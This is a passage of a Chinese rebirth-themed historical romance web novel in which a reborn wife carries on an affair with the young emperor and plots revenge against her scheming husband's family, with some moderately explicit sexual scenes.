薛嘉言垂下眸,不敢与姜玄对视,贝齿咬了咬唇,唇角微微翘起,并不见有畏惧,反倒有股子含羞带怯的意味。 姜玄把她重新拉回自己怀里,在她耳畔轻声问道:“你不怕吗?” 薛嘉言轻轻摇了摇头,晃动的发丝搔到皇帝的下巴,弄得他有些痒。 “臣妇不怕,皇上是万民之主,能侍奉皇上,是臣妇的荣幸。” 不管这话是不是出自真心,能取悦到皇帝即可。 果然,姜玄听她说完,呼吸有些急促,揽着她的腰,让她与自己贴得更紧,手掌扣住薛嘉言的头,让她抬头,他则低头凑了上去,寻到她的唇,反复含吮。 薛嘉言只停滞了几息,很快与他唇舌纠缠。 他呼吸很急,气息很热,一点一点将薛嘉言侵袭。 薛嘉言身子发软,双臂有些无力地攀上姜玄的肩膀,微微昂着头,任他掠夺。 薛嘉言也无奈,她的身体,比她的心理更快的接受了姜玄。 她嫁与戚少亭时十七岁,戚少亭二十三岁,戚少亭并不是重欲之人,两人之间的亲吻,都是蜻蜓点水般轻轻一吻。似姜玄这般热情霸道的吻,薛嘉言也是前世入宫后,才第一次感受。 姜玄只穿了一层单薄的中衣,少年人清瘦的胸膛,遮不住炽热滚烫的心跳,薛嘉言察觉出,他比前世更加迫切。 薛嘉言知道姜玄之前并没有行过房事,前世与姜玄纠缠三年,她对姜玄的身体很是熟悉,眼下又没有了顾忌,她先解开自己里衣的带子,又解开了姜玄的。 他腰身精瘦,因呼吸急促,腹肌很明显。 很快,两人赤祼滚到榻上,姜玄呼吸急促,情难自抑。 他箭在弦上却不发,双手撑在她肩膀两侧,盯着她的双眸,低沉着说:“朕再给你一次机会,你当真愿意?” 薛嘉言恍惚记得,上一世,第一夜,姜玄似乎也问过这句话。 那时候,她是怎么回答的? 是了,那夜她羞愧、愤怒、害怕,想到戚家、薛家的那么多人命,她浑身轻颤着,闭着眼睛默默流泪,沙哑着说:“愿……愿意……” 经过三年床榻上的厮磨,薛嘉言的身体早已习惯了姜玄的气息,她本就情难自控,加之这一世她要的就是帝王的宠爱,不由呢喃了一句:“臣妇愿意……” 姜玄指节抵着她下颌微微抬起,墨色眼瞳里翻涌着暗潮:"不悔?" “不悔……”她唇瓣微启,洇出潋滟水光。 这抹艳色撞进姜玄眼底,勾得他呼吸一沉。 再不必多言。姜玄覆上她的手背,引着那双手抚过自己清瘦腰腹,熟悉的温度漫开时,那些刻在身体里的记忆突然苏醒,她指引他,一步步沉向更深的欲海。 许久,罗帐内动静渐歇。 薛嘉言软在锦被里,软软地不愿动弹,暗自叹气:前世怎的就放不下执念?这般人物,这般手段,她缘何那般纠结,本就该及时行乐。 姜玄重新敷上薛嘉言的手,原本带着凉意的柔荑已变得温热。 他轻笑了一声,“原来要这样,手才不冷吗?” 薛嘉言耳尖微红,偏过头去,只觉面上热意更甚,竟不知该如何回答。 第7章 龙精虎猛 歇了一会后,姜玄挑了挑眉,意味不明地看了看薛嘉言。 薛嘉言回想刚刚那些纠缠,仍不可抑制地有些脸红,垂下眼眸不看姜玄。 姜玄坐起身,声音不再似刚刚那般粘腻,恢复了一贯的清冷。 “时辰差不多了,你收拾一下,张鸿宝会安排人送你回去。” 薛嘉言应了一声,起身穿衣。 她出了寝殿才看到,外头天色已泛起淡淡青白,是该回去了。 送她回去的,依旧是甘松。 “奶奶辛苦了,干爹让我跟您说,皇上很高兴,这是内造的一套首饰,奶奶拿回去自己戴,或是赏人都可以。” 甘松笑眯眯捧上一个檀木匣子,薛嘉言似笑非笑地接过。 这是什么意思,嫖资吗?前世可没有这一出。 想到前世那兵荒马乱的第一夜,薛嘉言明白了,当时皇帝的体验应该也不好,自然想不起来赏赐她什么。 天子有赏,她接着便是了。 这一夜,薛嘉言觉得很满足。 原来不顾忌名声、脸面,不怀着愧疚之心,只享受皇帝的身体,这感觉真的很不错。 想来,皇帝也是一样的感受,不然不会让甘松送了这么多首饰。 马车很快驶到了猫眼胡同戚家的后门,天色已经微微亮,远处响起更鼓声,寅时了。 戚家一片安宁,后门处守着的是戚少亭的人,见她回来了,默默开了门。 薛嘉言一改前世那副恨不得去死的模样,昂首挺胸进了门,迈步回了自己住的春和院。 春和院卧房里,戚少亭静静坐在圈椅上,双目通红,显然一夜未睡。 薛嘉言推门进去,戚少亭看到她换了一身新衣裳,两颊还带着未退却的绯红,暗暗咬了咬牙,面上却现出凄苦的神色,哽咽着问:“嘉嘉,皇上他……他没有伤害到你吧?你,你受委屈了……” 戚少亭站起来抱住薛嘉言,身子轻轻抖动,似在哭泣。 薛嘉言笑了笑,轻声道:“怎么会,他毕竟是天下之主,给予臣民的,不过是些雨露罢了。” 这话一语双关,戚少亭身子一僵,有些怀疑薛嘉言话中深意。他松开薛嘉言,抓着她的胳膊问道:“嘉嘉,宫里安排你喝避子汤了吗?” 薛嘉言摇摇头:“没有。说不定皇上说喜欢我,要我给他生个孩子呢。” 反正他也不可能找皇帝求证,她随便说说,戳戳他的心窝子也好。 不过,前世姜玄也的确没让她喝过避子药,说来奇怪,他们都年轻,三年间不知欢好多少次,她却从未有过身孕,不知是不是姜玄那里出了问题。 戚少亭闻言攥紧了拳头,脖子上的青筋都暴起来了,他隐忍着怒意没说话。 戚少亭觉得薛嘉言想多了,姜玄登基一年多,后宫仍空无一人,怎么会让一个臣妻为他生子,实在荒唐。 薛嘉言揉了揉仍有些酸软的腰,轻笑一声:“夫君,皇上龙精虎猛,我乏了,要去歇歇了。” 薛嘉言说完,不等戚少亭反应,施施然往床上去。 戚少亭愕然,怔怔地看着薛嘉言躺下去的背影,他之前的感觉没错,薛嘉言的确是与以前不同了。 按照他对薛嘉言的了解,她回来后,应该是羞愤欲死,没脸见人的,怎么她这么平静?又怎么会说出这么厚颜无耻的话呢? 薛嘉言的确是累狠了,回到卧室,很快便睡着了。姜玄昨夜除了第一次时没能控制得住,后面局势便全由他掌控,他年轻气盛,精力旺盛,一朝尝鲜,欲罢不能,她的确应承的有些累了。 这一觉睡到天光大亮,薛嘉言被一双柔软的小手摇醒,耳畔响起棠姐儿奶声奶气的呼喊:“娘……娘……醒醒……” 薛嘉言睁开眼便看到棠姐儿圆圆的脸蛋,一双大眼睛一眨不眨地盯着她,见她醒了,棠姐儿高兴的咧开嘴笑。 “娘,你醒了,棠棠要吃糖。” 薛嘉言笑着,捏了捏棠姐儿的脸蛋,柔声道:“棠姐儿不乖,还没到吃糖的时辰呢。” 棠姐儿嘟着嘴,眨巴着眼睛,“娘,先给我吃一颗嘛,下午就不吃了。” 薛嘉言看着女儿的小脸,想起前世她落水后凄惨的模样,薛嘉言眼眶中不由涌上泪来。 棠姐儿看着母亲眸中水光闪闪,吓得忙摇着头:“棠棠不吃糖了,娘不哭……” 薛嘉言噙着泪抱住棠姐儿,哽咽道:“吃,今儿娘高兴,棠姐儿吃两颗。” 怎么不高兴呢,重生回来,她终于可以护住女儿了。 “大奶奶,太太房里的杨嬷嬷一早来问了几趟了,问奶奶今日怎么没去给太太请安,是不是身子不舒坦,要不要请大夫。” 司春端了水进来,一边伺候薛嘉言洗漱,一边低声说。 薛嘉言闻言冷笑,她这位婆婆栾氏,看着是唯唯诺诺的老好人样子,其实一肚子阴损主意,譬如今早这话,说出来是她体恤儿媳身体,传出去就是薛嘉言不敬长辈,晨起不请安,有事不报备。 戚家人啊,吃她的,住她的,还要她上孝敬,下伺候,真真是好算计啊。 戚家原籍京郊通县,一家子来京城七八年,戚少亭因少年中举,是家里的希望,一直在读书,他爹戚炳春给几家铺子做些零散的活计,他娘栾氏给人浆洗衣裳,妹妹年纪小,帮着父母做点散活。 五年前,薛嘉言偶遇了父亲原配高氏的族人,被人堵在街上羞辱,戚少亭路见不平,上前解围,两人结识。 那年薛嘉言十七岁,父母亲正张罗着给她定亲,因她身份尴尬,实难找到合适的人家。母亲见戚少亭生得一表人才,又是青年举子,只比薛嘉言大五岁,便动了心思,要将女儿下嫁戚家。 薛嘉言的父亲薛千良不想女儿低嫁,但想了想这一年的议亲遭遇,也灰了心,觉得女儿低嫁了也不错,至少男方好拿捏。他见妻女都觉得戚少亭不错,也就应了下来。 两人成亲后,薛家将猫眼胡同的三进宅院给女儿做了嫁妆,戚家从租住的大杂院搬了过来,戚少亭有了书房,安心读书。 戚炳春不再出去揽活,他识字,又有些手艺,被薛千良安排进了工部杂造局做杂役,他会钻营,没两年竟成了九品的大使,也算混了个官身。 栾氏不必再给人浆洗,在家安心做起了太太,妹妹戚倩蓉在家做起了娇小姐,薛嘉言还请了个教养嬷嬷教她规矩。 婚后很快薛嘉言就有了身孕,顺利生下女儿戚云棠,一切都朝着好的方向发展,薛嘉言以为自己这番低嫁,虽钱财上损失了一些,生活却也和乐,并没有什么不好。 直到她被皇帝看上后,生活忽然发生了翻天覆地的变化,公婆指责她恬不知耻,应该去死;女儿被他们带走,说她不配为人母,不能教养女儿,后来甚至疏忽害死了棠姐儿;向来温柔小意的夫君也变了脸,纳了妾室,又与晖善长公主搅合到一起,当众羞辱她…… 前世她恨透了姜玄,若不是他强要她,她原本可以一直平淡幸福下去。 直到临死前那段时间,她才看透,这本就是戚家人的本性,甚至她被姜玄看到,都是戚少亭的谋划,她该恨的,从来都是姓戚的这家人而已。 第8章 盘算 “去跟她说,我身子是不舒坦,往后等我身子好了,自会与她请安。”薛嘉言冷冷说道。 往后,她这身子是不会好了。 清清静静吃完饭后,薛嘉言在房间里静坐着,将前世遭遇一一梳理,细思该如何应对。 按照前世轨迹,没多久,姜玄就会给戚少亭升官,这一次,她可不会让戚少亭如愿。 他把结发妻送给皇帝,为的就是升官发财,她偏要他竹篮打水一场空,看他难受又没办法的模样。 戚少亭的事情很好办,他要权势,她偏给他搅黄了。 先让他难受,再想法子弄死他,她宁愿做个寡妇。只是要先把心思藏好了,毕竟“夫为妻纲”,杀夫是重罪,会除以极刑,她重生而来,可不能再一次惨死。 至于戚家剩下的三个人,各自有软肋在她手里,她也有法子叫他们生不如死。 只是,在此之前,她得把母亲弄走,不能让她留在京城。 上一世,她与皇帝的奸情败露后,少部分人对升做高官的戚少亭指指点点,但更多的人是辱骂她。她的名声一时间臭不可闻,也连累了自己的母亲。 人人说她母亲吕氏教女无方,才养出这等不知廉耻的女儿。娘家宅子门口常被丢满烂菜叶和臭鸡蛋,母亲一度数月不曾出门。 等到了外祖母的忌日,母亲强撑着病体,去寺庙给外祖母做场法事。不想在路上竟遇上了父亲原配高氏的娘家人。 那家人当众指着母亲的鼻子破口大骂:“你这贱人,自己不知守妇道,勾引旁人夫君,生的女儿更是青出于蓝,竟爬上龙床!你们吕家的女人,就没一个干净的!” 母亲气得浑身发抖,想去分辨,却被更大声的辱骂声盖过了。围观的人群指指点点,一字一句都是杀人的刀。 母亲当晚就高烧不退,从此一病不起。弥留之际,她拉着薛嘉言的手,眼中满是愧疚和不甘,最终郁郁而终。 薛嘉言总觉得,是她害死了最爱自己的母亲。 她经历生死,对于所谓名声早已看淡,但她的亲人却不是,她不想母亲再为此伤心难过。 “娘,这一世,我绝不会再让你承受这些。” 薛嘉言想到前世那些遭遇,眼睛里早已蓄满了泪,她擦了擦眼泪,深呼吸一口,继续想着心事。 天子脚下,悄无声息弄死一个人很难,更不要说是戚家全家了。这对于薛嘉言来说很难,她必须寻找助力。 爹娘那边她是不打算说的,爹是个富贵闲人,本就没多大能耐,况且他大约也不能理解她为何要害死婆家一家。 娘亲虽疼爱她,但手上除了钱,并无权势,虽也可以花钱办事,但她也不想娘亲为她冒险。 思来想去,她想到了一个人——锦衣卫同知苗菁。 苗菁现在只是锦衣卫同知,但他是姜玄的人,两年后,他就因公升任锦衣卫副指挥使,二十多岁的锦衣卫二号人物,在大兖朝一百多年的历史里也是头一份。 前世薛嘉言与苗菁接触并不多,她与皇帝的奸情败露后,姜玄命苗菁负责她的安全,两人之间才打过几次交道。 也是那时候,薛嘉言才知道,原来戚少亭纳的妾室郭晓芸,是苗菁的邻家姐姐,也是他的心上人。 郭晓芸原是戚少亭同窗徐维之妻,徐维病故后,郭晓芸孤苦无依,想要回徐维老家寻亲,被戚少亭劝住,说徐家人如豺狼,若郭晓芸回去,只怕要被徐家人卖给年老鳏夫。 郭晓芸是个性子柔弱的女子,被戚少亭一番话说得不敢回乡,在租住的小院里日日抹泪。 戚少亭经常过去宽慰郭晓芸,又找了地痞夜里去骚扰郭晓芸,吓得郭晓芸夜不能寐,凄惶度日。 他又找人将郭晓芸所剩不多的钱财偷走,等郭晓芸出去做工时,故意派人言语羞辱她,吓得她不敢再出去赚钱。 如此一来,在戚少亭提出纳她为妾,搬到戚家去住时,郭晓芸只能答应下来。 这些都是戚少亭的小厮阿吉后来告诉薛嘉言的,那时候郭晓芸已经死了。 薛嘉言与戚少亭成亲时,戚少亭曾言之凿凿说自己此生不纳妾,唯薛嘉言一人。 戚少亭纳了郭晓芸,薛嘉言因已与姜玄有了纠葛,她也没有立场再反对。她一开始有些难受,到了后面反倒很喜欢郭晓芸。 郭晓芸性子柔弱,沉静,不爱说话,不争不抢,她对于成为戚少亭的妾室很是羞愧,数度在薛嘉言面前落泪,说自己对不起薛嘉言。 薛嘉言却没有怪过郭晓芸,她知道女子生存不易,更何况郭晓芸一个无依无靠的寡妇。 郭晓芸在戚家的时候很少出自己住的小院,也很有分寸,时常做了衣裳、鞋袜给薛嘉言和棠姐儿。 前世苗菁知道郭晓芸在戚家,就是因为薛嘉言的帕子是郭晓芸做的,郭晓芸的绣活别有巧思,竟被苗菁认出来她的手艺。 苗菁不动声色,调查一番得知郭晓芸给戚少亭做了妾室,且已经怀有身孕,他心中郁郁,叹命运捉弄,未能早些与郭晓芸相遇,只好把郭晓芸认作姐姐,偶有来往。 后来郭晓芸死了,苗菁哭得不能自已,恨不能替她去死。 薛嘉言记得,前世直到她死,苗菁仍是独身一人,可见对郭晓芸用情颇深。 “戚少亭,你个伪君子,打着照顾同窗遗孀的旗号,哄骗郭晓芸做妾,这一次,我万不能叫你如愿。” 薛嘉言恨恨想着,叫了司春进来:“司春,去吩咐套车,我要出去一趟。” 司春应声出去安排,薛嘉言换了一件衣裳,又让司雨拿了些银两,包了两块素净些的布料,准备去槐花胡同看望郭晓芸。 戚少亭与徐维是同乡兼同窗,徐维死之前,两家多次来往,薛嘉言与郭晓芸虽算不上好友,却也不陌生,她过去看望看望,这也说得过去。 第9章 娇弱寡妇 薛嘉言领着贴身丫鬟司春和春桃到了侧门,司春手里捧着个青布的小包袱,里头是给郭晓芸带的两匹细布,春桃扶着油布车辕,等着主子上车。 薛嘉言刚抬了脚准备上车,身后就传来喊声:“嫂子,你要去哪里?我也要去!” 薛嘉言回头,就见戚倩蓉从影壁后头绕出来。 戚倩蓉嘴上抹着殷红的胭脂,身上穿的是新年刚做的石榴红裙子,裙角绣着一圈浅粉桃花,脸上的笑没遮没拦,眼尾都亮着,一看就心情极好。 戚倩蓉今年十六,正是爱俏爱闹的年纪。 薛嘉言嫁进来时,戚倩蓉还不到十二岁,是个梳着双丫髻、见了生人就躲的小丫头。 她瞧着戚倩蓉没甚规矩,特意从京郊请了曾在太傅府当差的王嬷嬷来教她礼仪,平日里戚倩蓉要新做的衣裳、时兴的簪子,只要不太出格,薛嘉言从没驳过,真真是把她当亲妹妹宠着。 戚倩蓉十七时,自小定下的周家来提亲,她却哭着闹着不肯嫁。原来她竟跟云阳伯的小儿子魏扬有了首尾,肚子里还揣了人家的骨肉。 周家精穷,见戚家富贵了,手里攥着定亲文书和信物,哪里肯放过戚倩蓉这块到嘴的肥肉?天天派人上门闹,闹得家里鸡犬不宁。 戚倩蓉跪在薛嘉言房里哭,眼泪鼻涕蹭了满衣襟,说魏扬许了要娶她。薛嘉言没法子,只得挪了二百两银子,给周家做了补偿,才把婚约取消了。 云阳伯家却并不肯儿子娶戚倩蓉,戚倩蓉肚子里有了魏扬的种,云阳伯府松口让她进门做妾。 薛嘉言拉着戚倩蓉的手,再三问她:“你想好了?给人做妾不容易,你若是不愿意,我托人送你去我丹阳老家,假做寡妇,往后还能找个老实人家过日子。” 可戚倩蓉那会儿满脑子都是魏扬的甜言蜜语,梗着脖子说:“就是做妾,我也要跟魏郎在一块儿!” 结果呢?她如愿进了云阳伯府,不到两个月就小产了。魏扬本就图个新鲜,见她没了孩子,更是连她的院子都不踏进一步。 她在伯府受了委屈,竟跑回戚家埋怨薛嘉言,说:“都怪你!你当初为何不拦着我?若不是你替我退了周家的婚,我现在就是正妻,哪会受这么多的气?” 薛嘉言想到这儿,心里像压了块冷石头。 她自问对这小姑子掏心掏肺,可前世自己跟姜玄的事败露时,戚倩蓉站在府门口,指着她的鼻子骂“淫妇”“祸水”……比谁骂得都难听。 她掐指算了算,眼下还没出正月,戚倩蓉该是这几天刚跟魏扬搭上话,正做着“嫁入伯府做正妻”的春梦呢。 薛嘉言勾了勾唇角,眼里没半分暖意,这一世,她可不会再管戚倩蓉的烂事。 就戚倩蓉的猪脑子,就算她不插手,这辈子也别想好过。由着她先闹,等肚子大起来了,她再让戚倩蓉尝尝千夫所指是什么滋味。 “我去槐花胡同看望郭大奶奶,你要去吗?”薛嘉言似笑非笑地看着她。 戚倩蓉原本以为薛嘉言是去首饰行挑珠钗,或是去布料铺子选新料子,再不济也是去胭脂铺看新出的香膏,一听是去看个寡妇,脸上的笑瞬间垮了,撇着嘴嘟囔:“哦,那嫂子去吧,我不去了。” 说罢,她转身就提着裙摆进了院子,连句“嫂子慢走”都没说。 薛嘉言嗤笑一声,收回目光,弯腰上了马车。 车帘落下,她对车夫道:“走吧,去槐花胡同。” 徐维生前租的小院就在槐花胡同中段,两进的院子,门口挂着的白灯笼。车夫刚停稳车,司春就先跳下去敲门,里头好一会儿才传来一阵脚步声。 郭晓芸隔着门缝看了看,见是薛嘉言,才赶紧拉开门栓。 郭晓芸眼眶红红的,眼泡肿得像核桃,眼角还挂着未干的泪痕,一见薛嘉言眼睛又蓄满了泪,轻声道:“薛妹妹,你怎么来了?” 她伸手请薛嘉言进来,嘴角勉强扯出一丝笑。 薛嘉言跟着她进了堂屋,屋里陈设简单,一张方桌,四把椅子,边上的柜子上摆着不少书,都是徐维留下来的。 “郭姐姐,我来看看你。” 薛嘉言坐下后,递过司春手里的包袱,“这里有两匹细布,颜色素净,正适合你现在用。徐大哥在天之灵,要是看见你这般伤心,定也不安心,你可得把心放宽些。” 郭晓芸接过包袱放到一旁,洗了茶碗,倒了一碗茶轻轻放在薛嘉言面前,声音哽咽着道:“我也知道,可仲卿走了,我就像没了主心骨,这日子……我都不知道该怎么往下过。” 她生得纤弱,肩窄腰细,风一吹都像要倒似的,性子也软,说话细声细气的。如今在丧中,更是没心思装扮,头发只用一根素银簪子绾着,发髻松得随时要散,几缕细软的青丝垂在腮边,沾着点泪渍,衬得那张脸更苍白了。 这样子,别说男子见了心疼,就是薛嘉言看了,都忍不住想护着她。 “郭姐姐没有旁的亲戚可投奔了吗?”薛嘉言轻声问。 郭晓芸咬着下唇,手指紧紧攥着衣角,颤声道:“我是个命苦的,爹娘早没了,全靠姑母把我养到出嫁。如今夫君没了,姑母前两年也走了,姑母家的表哥表嫂本就不待见我,我……我哪好再去叨扰他们。” 薛嘉言跟着叹了口气。 郭晓芸的确命苦,前世她进戚家做了妾,虽说自己没苛待过她,可她最后还是没逃得过苦命,生产时大出血,母子俩都没保住。 “郭姐姐别担心,车到山前必有路。”薛嘉言从袖袋里掏出个荷包,递到她面前,“这里头是五十两银子,你先收着。” 郭晓芸连忙推拒,双手合十道:“这怎么行?你来看我就够了,怎能还让你破费?” 薛嘉言执意要给,她推了几次,见薛嘉言真心实意,才红着眼收下,眼泪“吧嗒”掉在荷包上:“多谢薛妹妹……人常说锦上添花易,雪中送炭难,你待我的这份心,我……我这辈子都记着。” 两人正说着话,外头又响起敲门声,小丫鬟荷花跑过去看了看,很快就拉开了门,脆生生地喊:“戚大人!” 薛嘉言听到这声音,心里冷笑,果然是戚少亭。 第10章 又入宫 “嫂子,吃了没?我买了些点心与你……” 戚少亭拎着个点心盒子走进来,一见薛嘉言坐在屋里,脸上的表情瞬间僵了,过了好一会儿才反应过来,皱着眉问:“你怎么在这里?” “怎么,只有你能来看郭姐姐,我就不能来?”薛嘉言抬眸看他,语气里带着点嘲讽。 戚少亭眉头皱得更紧,嘴唇动了动,却没再说话,只把点心盒子往桌上一放,盒子“咚”地响了一声。 郭晓芸赶紧起身,道:“戚大人请坐,我去给你倒茶。” 戚少亭却摆了摆手,显得有些不自在,“嫂子不必忙了,我就是顺路过来看看,这就走了。”说罢,转身就往门外走,他刚跨出门槛,又顿住脚步,回头看向薛嘉言:“你不走吗?” 薛嘉言想了想,站起身对郭晓芸道:“郭姐姐,你好好休息,我过两天再来看你。” 郭晓芸送他们到门口,站在台阶上挥手,直到马车转过巷子口,赶紧让荷花把院门关上。 戚少亭是骑马来的,他把马栓在车辕上,弯腰进了马车。车厢本就不大,两人一左一右坐着,膝盖几乎要碰到一起。 薛嘉言赶紧往车厢壁挪了挪,尽量离他远些。她以为戚少亭上了马车是有话要跟她说,比如问她,皇帝怎么没说给他升官之类的,她琢磨着要怎么回答才能戳他的心窝子。 不料戚少亭却一直沉默着。 他低着头,双手放在腿上,撑着脑袋,长长叹了一口气,似乎很是伤怀。 过了好一会儿,才长长叹出一口气,那气里带着烦躁和憋屈,外面车轮碾过石板路的“咕噜”声,衬得他那一声叹息,格外悠长。 薛嘉言不知道他在演什么戏,索性闭着眼假寐,懒得理他。 戚少亭撑了约莫半炷香的功夫,胳膊都酸了,偷眼一看,见薛嘉言闭着眼,呼吸匀净,像是真睡了,不由得咬了咬牙,眼底闪过一丝不甘,可还是没开口。 马车很快到了戚家大门,戚少亭率先跳下去,没等薛嘉言,自己先往府里走。薛嘉言看着他的背影,嘴角勾了勾,乐得看他这纠结难受的样子。 入夜后,戚少亭阴沉着脸进了卧室,手里还捏着张纸条,往桌上一拍:“张公公派人来说,今晚接你入宫。” 薛嘉言正坐在镜前卸钗,闻言手一顿,心里有些讶异。距离她第一次入宫,才过了两天。 前世,姜玄可是隔了一个月才再召她。 她放下玉钗,心里冷笑:看来这皇帝是食髓知味,比前世更快地贪恋上她的身子了。 夜深时,甘松带着两个小太监来接她。戚少亭这次没像上次那样送她到后门,只站在院门口,背着手,看着她慢慢走远,廊下的灯笼里照出红光,映在他脸上,他眼神阴沉地吓人,像要吃人似的。 薛嘉言到长宜宫时,太监陆怀正候在宫门口,见了她就躬身道:“主子,皇上还在紫宸殿处理政事,您先去寝殿等着吧。” 薛嘉言对长宜宫的寝殿熟得很,前世她在这儿住过不少夜晚。她知道姜玄处理政事没个准点,说不定要等上一两个时辰,便走到书架前,随手抽了本诗集来看。 寝殿里燃着玉华香,清雅的香气漫在空气里,因皇帝没来,殿内静得很,只有角落里的刻漏“滴答滴答”地响,声音均匀,让人昏昏欲睡。 薛嘉言靠在软榻上,看着看着,眼皮就越来越沉,她把诗集放在手边,抱着旁边的迎枕,想着小憩一会儿,便闭了眼睛。 不知过了多久,姜玄进了寝殿,穿过屏风,撩开纱帘,就看见薛嘉言侧卧在软榻上,身体的曲线像起伏的山峦,纤细的腰肢被衣料裹着,腰如束素。 他想起两人的第一夜,喉结不由得滚了滚,咽了口口水,眼神也热了起来。 姜玄轻手轻脚走过去,刚想伸手抚上她的腰,又猛地顿住。他刚从紫宸殿过来,外面风凉,手心还带着寒气,若是这么碰上去,定要激着她。 他转身到炭盆边拿了个手炉,双手捧着暖了好一会儿,直到掌心都热起来,才又走回去,轻轻掀起她的衣裳,从后腰往里探。 其实早在姜玄进门时,薛嘉言就醒了。她睡眠浅,一点动静都能惊着。她没动,一来是真有些困,懒得起身;二来,她也想看看,姜玄到底想干什么。 姜玄的手带着暖意,顺着她的腰往上移,人也贴了过来,温热的呼吸扑在她颈间。她脖颈最怕痒,忍不住瑟缩了一下,轻轻哼了一声。 “醒了?”姜玄的声音哑得厉害,手已经去解她的衣扣,指腹碰到她的皮肤,带着点颤抖。 …… 不过两三日的功夫,姜玄的技术竟精进了不少。 偌大的寝殿里,他与她的喘息声清晰地回荡着。 寝殿高阔,里头放置的东西也不多,是以一点声音都会被放大。 薛嘉言知道这一点,她死死咬着唇,不敢泄出一丝声响。 姜玄在她喘息的空档,看到她被咬红了下唇,喘息着道:“没事,外头有人守着,不要紧的。” 前世,姜玄无数次说过这种话。可薛嘉言羞耻地不肯遵从,宁愿咬破嘴唇都不肯发出一点声响。 这次又听到了同样的话,她想通了,天塌下来有皇帝顶着,她一个小女子,怕什么?想叫就叫,想喘就喘,何必委屈自己。 薛嘉言不再忍耐,嘤咛出声,意乱情迷。 这呻吟取悦了姜玄,他脸上隐隐有笑意,更加殷勤。 不知过了多久,薛嘉言瘫在榻上,大口大口地喘着气,浑身都软得像没了骨头。她实在想不通,这少年人清瘦的身子里,怎么藏着这么大的热情,仿佛永远耗不尽似的。 姜玄也有些喘,额头上沁着薄汗,可没一会儿,呼吸就平稳了。他侧躺在薛嘉言身侧,单手撑着头,似笑非笑地看着她,另一只手轻轻抚着她因呼吸而起伏的胸口,语气里带着点戏谑:“有这么累吗?” 薛嘉言懒得说话,她嗓子干得发疼,今晚她的嗓子真累着了。 第11章 不愿升官 薛嘉言喘了好一会儿,气息平复了,才哑着嗓子道:“皇上,时辰不早了,我该回去了。” 姜玄脸上本就浅淡的笑意瞬间没了,只低低“嗯”了一声,语气里听不出情绪。 薛嘉言撑着身子坐起来,刚要下床,腿一软,又跌回榻上,后腰还传来一阵酸麻。身后传来姜玄低低的笑声,她脸上一热,赶紧转过身,背对着他穿衣。 她系扣子时,姜玄忽然开口问:“你觉得,朕该给戚少亭升个什么官?” 薛嘉言的手顿了一下,心里冷笑,该来的还是来了。她早就想好了答案,面上却不露声色,继续把最后一颗扣子系好,才转过身坐到姜玄身边,声音轻柔:“皇上,臣妇不愿夫君升官。” “哦?为何?”姜玄有些意外,细长的眸子紧紧盯着她,像是要从她眼里看出真假。 薛嘉言垂下眼,叹了口气,语气真诚:“皇上应当听过一句诗,‘忽见陌头杨柳色,悔教夫婿觅封侯’。臣妇的夫君没什么才干,做不来大事情,但可以多些时间陪伴臣妇与家人,臣妇觉得这就很好,很幸福。” 她顿了顿,又补充道:“夫君也是个淡泊名利的人,这辈子所求的,不过是一家平安、日子平淡罢了,求皇上成全。” 姜玄闻言皱起眉,脸上神色变冷,隐隐有怒意。 薛嘉言不解,按理来说,皇帝最喜臣民臣服,听了这话,他不应该不高兴。 姜玄仰躺在榻上,蹙眉想着苗菁查来的消息。 薛嘉言是张鸿宝先发现的并安排他遇上的,他虽对薛嘉言起了不该有的心思,却也给了戚少亭选择。若是戚少亭愿意带着薛嘉言离开京城,他便放他们走。 可最后张鸿宝还是把薛嘉言送进了宫,这说明戚少亭是选了献妻这条路。怎么薛嘉言倒说,戚少亭不想升官? 薛嘉言很快想到前世姜玄跟她说的话,心里一紧,这话漏了破绽。她赶紧补救,抬头看着姜玄,眼神恳切:“夫君对陛下一片忠心,他苦读几十年,也想凭真才实学为陛下分忧,只是……他不愿靠妻室谋前程。皇上,您可一定要体察夫君这颗忠君之心啊。” 姜玄明白薛嘉言的意思,戚少亭是怕得罪皇权,才不得不把她送进宫来,并非真心想靠她升官。他沉默了片刻,心里的疑惑散了些,冷声又问道:“那你呢?真的不想你夫君升官?” 薛嘉言斩钉截铁道:“臣妇不愿,臣妇只想夫君多陪陪家人。” 姜玄脸上冷意更浓,盯着薛嘉言看了几息,忽地垂下眼眸,摆摆手,有些烦躁地说道:“罢了,你走吧。” 薛嘉言抬头看向姜玄,他那双方才还带着缱绻的眼睛,此刻竟像结了冰,透着彻骨的寒。 薛嘉言不解,但同时也松了口气,赶紧起身行礼:“谢皇上。”说罢,转身就往外走,生怕姜玄再问别的。 薛嘉言走后,张鸿宝蹑手蹑脚地进来,隔着纱帐小声问:“皇上,可要沐浴?” 姜玄闭着眼睛没应声,过了好一会儿才懒懒开口:“张鸿宝,此事机密,绝不能泄露出去,尤其是不能让太后知道。” 张鸿宝脸上的笑容僵了,苦着脸道:“皇上,短时间内还能瞒住,可您若是这么频繁地召人进来,太后毕竟是后宫之主,日子久了,怕是瞒不住啊。” “瞒不瞒得住,是你的本事。”纱帐里传来姜玄冷冷的声音的。 张鸿宝噎了一下,只得躬身应道:“老奴……老奴定当尽心。” 薛嘉言累坏了,坐在车里连打了好几个绵长的哈欠。等马车停在戚府后门时,天边已悄悄漫开一层淡青的白,似乎快要亮了。 守门的依旧是戚少亭的贴身小厮阿吉,他听见动静赶紧开门,等薛嘉言踏进门槛后,他低声说了一句:“奶奶,爷昨夜一夜没睡……” 薛嘉言的脚步没顿半分,仿佛没听见这话似的,只提着裙摆往里走。 推开卧房的门,房里点着一盏孤灯,昏黄的光线下,戚少亭正坐在床沿上,身上穿的还是昨日那身淡蓝色锦袍,他眼底泛着明显的青色,眼下的泪痣在昏光里显得格外暗沉,见薛嘉言进来,他缓缓站起身,声音沙哑得厉害:“回来了……” 薛嘉言只淡淡“嗯”了一声,随口问道:“夫君怎么还没睡?棠姐儿夜里没闹吧?” 戚少亭摇摇头,语气里带着点讨好的软:“没有,棠姐儿睡得安稳,睡到现在没醒过。我,我在这里等你回来。” “往后夫君不必等我,看样子,皇帝隔三岔五就要宣我过去,夫君回回都等,身子怎么吃得消。” 薛嘉言的话看似体贴戚少亭,其实凉薄得很。 戚少亭又岂会听不出,他脸上神色变换,咬了咬牙,嘶哑着道:“我担心你,看到你,才能安心。” 薛嘉言没再搭话,抬手解了外边的袄子,随手搭在床边的衣架上。她困得眼皮都快粘在一起,脱了鞋便往床上躺,背对着戚少亭合了眼,一句话都懒得说。 她是真累了,少年人的热情,早把她的力气耗了个干净。 